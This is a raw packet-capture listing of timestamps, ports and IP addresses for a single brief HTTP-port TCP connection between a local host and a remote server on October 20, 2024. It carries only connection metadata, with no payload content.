Oct 20, 2024 23:43:12.312939882 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.312942028 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.312952995 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.312966108 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.312972069 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.312978029 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.312990904 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.312997103 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313003063 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313016891 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313023090 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313031912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313043118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313044071 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313052893 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313056946 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313069105 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313081026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313086987 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313092947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313106060 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313112974 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313131094 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313150883 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313740015 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313756943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313769102 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313781023 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313791990 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313793898 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313793898 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313803911 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313816071 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313821077 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313834906 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313847065 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313848019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313862085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313869953 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313874960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313888073 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313895941 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313899994 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313913107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313915968 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313924074 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313925982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313939095 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313951015 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313961983 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313966036 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313977957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.313987970 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.313988924 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314002037 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314007998 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314014912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314024925 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314028025 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314043045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314054966 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314064980 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314065933 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314075947 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314080000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314094067 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314094067 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314107895 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314120054 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314142942 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314666986 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314680099 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314691067 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314702034 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314708948 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314713955 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314719915 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314727068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314739943 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314749956 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314750910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314766884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314770937 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314779043 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314794064 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314798117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314810038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314819098 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314820051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314834118 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314835072 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314845085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314857960 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314872026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314883947 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314886093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314892054 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314898968 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314898968 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314908981 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314913988 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314925909 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314938068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314938068 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314949036 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314951897 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314965010 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314975977 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.314981937 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.314989090 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315000057 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315001011 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315012932 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315020084 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315025091 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315047026 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315067053 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315613031 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315629959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315640926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315655947 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315656900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315670967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315682888 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315682888 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315692902 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315692902 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315696001 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315710068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315721035 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315721989 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315733910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315743923 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315753937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315766096 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315767050 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315781116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315793037 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315794945 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315805912 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315819025 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315819979 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315831900 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315845013 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315848112 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315855026 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315867901 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315867901 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315880060 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315892935 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315901041 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315902948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315916061 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315922022 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315928936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315929890 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315937996 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315942049 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315953970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315965891 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315970898 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.315979004 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.315996885 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316006899 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316031933 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316638947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316653967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316663027 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316674948 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316687107 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316689014 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316699982 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316708088 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316713095 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316725016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316729069 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316736937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316747904 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316751003 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316761971 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316777945 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316783905 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316793919 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316797972 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316807985 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316812038 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316823959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316834927 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316838980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316845894 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316855907 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316859007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316871881 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316883087 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316883087 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316895962 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316900015 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316911936 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316924095 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316927910 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316936970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316947937 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316951036 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316960096 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316968918 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316972971 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316986084 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.316993952 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.316998959 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317012072 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317018986 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317044020 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317049980 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317647934 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317660093 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317671061 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317684889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317686081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317697048 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317699909 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317709923 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317722082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317734003 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317744970 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317756891 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317764997 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317764997 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317769051 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317789078 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317801952 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317814112 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317825079 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317837000 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317847967 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317852020 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317852020 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317852020 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317863941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317876101 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317877054 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317877054 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317877054 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317888021 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317893982 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317893982 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317899942 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317910910 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317924023 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317938089 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317948103 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317948103 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317948103 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317950010 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317961931 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317975044 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317982912 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.317987919 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.317998886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.318008900 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.318010092 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.318018913 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.318046093 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.319221973 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.319235086 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.319247007 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.319258928 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.319266081 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.319268942 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.319277048 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.319288969 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.319298983 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.319302082 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.319314957 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.319327116 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.319329023 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.319341898 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.319343090 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.319358110 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.319365978 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.319400072 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.319411039 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.456181049 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456384897 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.456630945 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456645012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456682920 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.456698895 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.456753016 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456763983 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456774950 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456788063 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456794024 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.456820965 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.456828117 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456832886 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456839085 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456845045 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456856012 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456862926 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456877947 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.456895113 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.456914902 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457072020 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457083941 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457093954 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457104921 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457115889 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457115889 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457129002 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457139015 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457143068 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457154989 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457170010 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457170010 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457182884 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457189083 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457195997 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457206011 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457211971 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457216978 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457230091 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457238913 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457242966 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457264900 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457289934 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457446098 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457458019 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457468987 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457480907 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457484961 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457494974 CEST	80	49708	185.215.113.37	192.168.2.11
Oct 20, 2024 23:43:12.457499981 CEST	49708	80	192.168.2.11	185.215.113.37
Oct 20, 2024 23:43:12.457508087 CEST	80	49708	185.215.113.37	192.168.2.11
